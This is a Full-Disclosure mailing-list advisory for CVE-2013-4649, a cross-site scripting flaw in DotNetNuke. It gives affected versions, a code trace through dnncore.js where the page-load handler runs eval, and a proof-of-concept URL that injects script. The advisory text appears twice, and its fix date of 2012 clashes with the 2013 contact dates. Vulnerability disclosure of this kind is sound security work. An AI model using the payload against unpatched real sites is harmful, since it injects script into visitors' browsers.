[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] DotNetNuke (DNN) Cross-Site Scripting Vulnerability !!!!
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] DotNetNuke (DNN) Cross-Site Scripting Vulnerability !!!!
- From: "Sajjad Pourali" <S.pourali@xxxxxxxx>
- Date: Mon, 02 Sep 2013 05:41:38 -0400
Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability
References: CVE-2013-4649
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami
Vendor http://dnnsoftware.com/
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins
(2013-07)
Vendor contact: 2013-06-23
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)
Vendor fix and announcement: 2012-08-14
Solution: Update To (6.2.9/7.1.1)
Remote: yes
Authentication required: no
User interaction required: yes
Impact: Medium
Affected:
- DNN 7.1.0 and earlier
- DNN 6.2.8 and earlier
Not affected:
- DNN 7.1.1
- DNN 6.2.9
---
Trace vulnerable place:
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} :
...
<input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off"
value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />
...
http://www.vulnerable.com/js/dnn.js :
...
Type.registerNamespace("dnn");
...
http://www.vulnerable.com/js/dnncore.js :
...
function __dnn_ClientAPIEnabled()
{
return typeof (dnn) != "undefined"
}
...
if (__dnn_ClientAPIEnabled())
{
var sLoadHandlers = dnn.getVar("__dnn_pageload");
if (sLoadHandlers != null)
{
eval(sLoadHandlers)
}
dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll)
}
__dnn_m_bPageLoaded = true
}
...
---
PoC:
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}
---
+ Sajjad Pourali
+ http://www.securation.com/
+ http://www.cert.um.ac.ir/
+ Contact: sajjad[at]securation.com
Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability
References: CVE-2013-4649
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami
Vendor http://dnnsoftware.com/
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins
(2013-07)
Vendor contact: 2013-06-23
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)
Vendor fix and announcement: 2012-08-14
Solution: Update To (6.2.9/7.1.1)
Remote: yes
Authentication required: no
User interaction required: yes
Impact: Medium
Affected:
- DNN 7.1.0 and earlier
- DNN 6.2.8 and earlier
Not affected:
- DNN 7.1.1
- DNN 6.2.9
---
Trace vulnerable place:
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} :
...
<input name="__dnnVariable" type="hidden" id="__dnnVariable"
autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />
...
http://www.vulnerable.com/js/dnn.js :
...
Type.registerNamespace("dnn");
...
http://www.vulnerable.com/js/dnncore.js :
...
function __dnn_ClientAPIEnabled()
{
return typeof (dnn) != "undefined"
}
...
if (__dnn_ClientAPIEnabled())
{
var sLoadHandlers = dnn.getVar("__dnn_pageload");
if (sLoadHandlers != null)
{
eval(sLoadHandlers)
}
dnn.dom.attachEvent(window, "onscroll",
__dnn_bodyscroll)
}
__dnn_m_bPageLoaded = true
}
...
---
PoC:
http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}
---
+ Sajjad Pourali
+ http://www.securation.com/
+ http://www.cert.um.ac.ir/
+ Contact: sajjad[at]securation.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/